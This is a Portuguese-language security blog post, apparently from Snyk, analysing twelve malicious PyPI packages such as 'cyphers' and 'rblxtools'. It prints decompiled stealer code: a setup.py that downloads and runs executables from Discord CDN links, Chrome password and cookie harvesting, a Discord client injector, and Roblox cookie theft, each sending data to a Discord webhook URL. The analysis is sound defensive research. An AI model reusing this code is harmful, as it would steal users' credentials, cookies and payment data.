Skip to main content

A Snyk encontra malware PyPi que rouba dados de login e pagamento do Discord e do Roblox

Escrito por:
Kyle Suero
wordpress-sync/blog-hero-pypi-malware-discord

16 de agosto de 2022

0 minutos de leitura

Os pesquisadores de segurança da Snyk monitoram continuamente ecossistemas de código aberto em busca de pacotes maliciosos, utilizando técnicas de análise estática para identificar e sinalizar pacotes suspeitos. Cada pacote malicioso é identificado após a publicação no gerenciador de pacotes e adicionado rapidamente ao Banco de Dados de Vulnerabilidades da Snyk. Em uma pesquisa recente, a equipe descobriu 12 partes de malware que pertenciam ao mesmo invasor. Esses pacotes maliciosos tentaram evitar a detecção enquanto se infiltravam em máquinas do Windows e executavam arquivos executáveis maliciosos, baixados da rede de distribuição de conteúdo (CDN) do Discord (um aplicativo de bate-papo online popular) para o host.

Esses pacotes utilizaram o PyInstaller para agrupar um aplicativo malicioso e suas dependências em um único pacote. O PyInstaller tinha dois propósitos: inibir a detecção agrupando dependências em vez de baixá-las de um servidor remoto para o host e fornecer um arquivo executável que estivesse pronto para executar sem um interpretador.

O malware ataca dados que são armazenados para aplicativos de uso diário. Após a execução, ele tenta roubar dados do Google Chrome (senhas, cookies, histórico da web, histórico de pesquisa e favoritos). Os dados são um alvo comum para invasores mal-intencionados, que podem utilizá-los para entrar em contas com as credenciais obtidas.

O Discord, dada a sua popularidade, também é um alvo. O malware extrai tokens do Discord e injeta um agente malicioso persistente no processo. O código malicioso, conhecido como Discord Injector, pode transferir uma quantidade alarmante de conteúdo para o invasor. Além de compartilhar credenciais, ele extrai informações de cartões de crédito inseridas após o injetor ser carregado.

Outro detalhe interessante sobre esse malware é que ele usa recursos do Discord para distribuir arquivos executáveis. Embora essa prática não seja nova, ver cdn.discord.com alertou nossos pesquisadores de segurança. Os binários são inseridos no host pelo CDN do Discord.

Como exemplo, vamos ilustrar o pacote cyphers para analisar sua estrutura e seus modos de operação. O malware consiste em dois executáveis.

  1. ZYXMN.exe - extrai dados privados do Discord, vaza credenciais e informações confidenciais do navegador e injeta o malware do Discord no próprio aplicativo.

  2. ZYRBX.exe - rouba cookies e dados de usuários do Roblox.

Demonstração de pacote: cyphers

Depois de baixar o tarball do pacote e extraí-lo, observamos que o arquivo setup.py tem algumas características incomuns (algumas partes foram omitidas para não nos estendermos muito):

1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)  
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")

Podemos ver que ele tenta baixar dois binários, ZYXMN.exe e ZYRBX.exe, de um CDN do Discord, mascara ambos como executáveis arbitrários do Windows e, por fim, executa-os. Após a execução, os arquivos são excluídos do sistema de arquivos para cobrir os rastros.

Vamos descobrir o que fazem esses executáveis.

ZYXMN.exe

Depois de executar binwalk e strings no binário, vimos que ele foi criado com o PyInstaller, uma biblioteca que agrupa um aplicativo inteiro em python, com dependências de runtime e tudo mais, em um único arquivo executável baseado no OS.

Esses arquivos podem ser extraídos usando extremecoders-re/pyinstxtractor. Enquanto listávamos os arquivos, identificamos ZYXMN.pyc, um bytecode compilado de Python que é o ponto de entrada do aplicativo. Ao descompilá-lo com rocky/python-uncompyle6, encontramos os segredos ocultos do pacote malicioso.

main()

1def main() -> None:
2    webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3    pingmsg = 'soulcord run da wrld'
4    greenhillzone = {'content': f"@everyone {pingmsg}"}
5    requests.post(webhook, json=greenhillzone)
6    debug()
7    threads = []
8    for operation in (
9    discord, google, injection):
10        thread = Thread(target=operation, args=(webhook,))
11        thread.start()
12        threads.append(thread)
13    else:
14        for thread in threads:
15            thread.join()
16        else:
17            system(webhook)

"A função principal executa essencialmente três ‘operações’ (threads) que buscam realizar uma parte do conteúdo. Todas recebem um argumento webhook usado para vazar os resultados da operação. Podemos ver que ele também é executado em um URL do Discord (discord.com).

Google

1class google:   
2    def __init__(self, webhook: str) -> None:
3        webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4        self.appdata = os.getenv('LOCALAPPDATA')
5        self.databases = {
6        self.appdata + '\\Google\\Chrome\\User Data\\Default',
7        self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8        self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9        self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10        self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11        self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12        self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13        self.files = [
14        '.\\nrozi3tvz1x7df3I-p.txt',
15        '.\\JN6Kq3DLrH6eJ8px-c.txt',
16        '.\\MVvztUI6Dyc1iHIB-wh.txt',
17        '.\\jDW68AZgMg9PUg1O-h.txt',
18        '.\\elr6GRUCz1eKhT0q-b.txt']
19        self.password()
20        self.cookies()
21        self.web_history()
22        self.search_history()
23        for file in self.files:
24            if not os.path.isfile(file):
25                pass
26            elif os.path.getsize(file) > 8000000:
27                pass
28            else:
29                webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30        else:
31            for file in self.files:
32                if os.path.isfile(file):
33                    os.remove(file)

O malware tenta descriptografar a chave mestre do Google, acessar os bancos de dados locais do navegador e vazar os seguintes dados do usuário:

  • Cookies

  • Histórico da web

  • Histórico de pesquisa

Injeção

1def __init__(self, webhook: str):
2        self.appdata = os.getenv('LOCALAPPDATA')
3        self.discord_dirs = [
4        self.appdata + '\\Discord',
5        self.appdata + '\\DiscordCanary',
6        self.appdata + '\\DiscordPTB',
7        self.appdata + '\\DiscordDevelopment']
8        self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9        for dir in self.discord_dirs:
10            if not os.path.exists(dir):
11                pass
12            elif self.get_core(dir) is not None:
13                with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14                    f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15                    self.start_discord(dir)

O código tenta criar um arquivo chamado index.js no diretório discord_desktop_core com o conteúdo contido na propriedade self.code e executar o aplicativo Discord. Isso permite que o script seja executado no contexto do aplicativo.

Depois de soltar a cadeia de caracteres em um arquivo e analisar o conteúdo, percebemos que ele é obtido do repositório Rdimo/Discord-Injection, que contém um script malicioso usado para capturar dados privados de usuários do Discord.

ZYRBX.exe

Seguimos o mesmo processo para extrair o código-fonte em Python desse binário, assim como fizemos com o anterior. O código malicioso executa o seguinte bloco de código em diferentes tipos de navegadores:

1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2    site = 'roblox.com'
3    if site == 'roblox.com':
4        try:
5            cookiesall = browser_cookie3.edge(domain_name=site)
6            cookiesall = str(cookiesall)
7            roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8            req = requests.Session()
9            req.cookies['.ROBLOSECURITY'] = roblosec
10            user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11            ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12            robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13            Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14            prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15            embed = {'title':'Cookie Found',
16            'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17            'color':0,
18            'thumbnail':{'url': Avatar}}
19            data = {'embeds': [embed]}
20            requests.post(url, json=data)
21            embed2 = {'title':'Cookie Information',
22            'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23            'color':0,
24            'thumbnail':{'url': Avatar}}
25            data2 = {'embeds': [embed2]}
26            requests.post(url, json=data2)

Este bloco de código rouba o cookie .ROBLOSECURITY da plataforma de jogos online “Roblox” e o envia para um webhook do Discord junto com os detalhes do usuário: nome de usuário, ID, saldo de Robux (moeda usada nos jogos da Roblox), miniatura e indicador de usuário Premium. Ele tenta fazer isso nos seguintes navegadores: Microsoft Edge, Google Chrome, Chromium, Firefox e Opera.

Resumo das descobertas

No total, 12 pacotes foram identificados como maliciosos do mesmo invasor:

Nome do pacote

Versão

Descrição

Executável malicioso

Horário do upload

hackerfilelol

0.0.1

Este é o module\\n\\ngang do pro hacker

\*Main.exe

31 de julho de 2022, às 16h23

hackerfileloll

0.0.1

Este é o module\\n\\ngang do pro hacker

\*Main.exe

31 de julho de 2022, às 16h27

stealthpy

0.0.1

gang

ZYXM.exe, ZYRBX.exe

31 de julho de 2022, às 18h32

plutos

0.0.1

Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco.

ZYXM.exe, ZYRBX.exe

31 de julho de 2022, às 21h01

testpipper

0.0.1

Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco.

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 11h27

testpipperz

0.0.1

Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco.

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 11h33

pippytest

0.0.1

Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco.

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 11h35

pippytests

0.0.1

Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência.

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 12h16

cyphers

0.0.1

Módulo básico usado para gerenciar várias threads ao mesmo tempo com mais eficiência. Para obter ajuda com o módulo, fale conosco.

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 12h27

rblxtools

0.0.1

Módulo básico para usar várias ferramentas do Roblox com maior facilidade, baseado principalmente na biblioteca de solicitações. Para obter ajuda com o módulo, fale conosco.

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 19h14

rbxtools

0.0.1

Módulo básico para usar várias ferramentas do Roblox com maior facilidade, baseado principalmente na biblioteca de solicitações. Para obter ajuda com o módulo, fale conosco.

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 19h22

rbxtool

0.0.1

Módulo básico para usar várias ferramentas do Roblox com maior facilidade, baseado principalmente na biblioteca de solicitações. Para obter ajuda com o módulo, fale conosco.

\*Main.exe - idêntico ao ZYXMN.exe

ZYXM.exe, ZYRBX.exe

1º de agosto de 2022, às 19h26

Como a equipe de pesquisa em segurança da Snyk usa técnicas avançadas para identificar e monitorar atividades suspeitas em vários ecossistemas de pacotes, fazemos o nosso melhor para informar às nossas autoridades, à comunidade e aos nossos usuários o mais rapidamente possível. Acreditamos que esse trabalho seja fundamental para tornar o software de código aberto, e a tecnologia em si, mais seguros.

Para colher os frutos da nossa pesquisa de ponta, abra uma conta Snyk grátis hoje mesmo. Com inteligência de segurança líder do setor, a Snyk encontra vulnerabilidades em dependências de código aberto, código proprietário, imagens de base e infraestrutura de nuvem, fornecendo recomendações de correções acionáveis (incluindo solicitações de pull de correção em um clique) para que você possa programar rapidamente e se manter em segurança.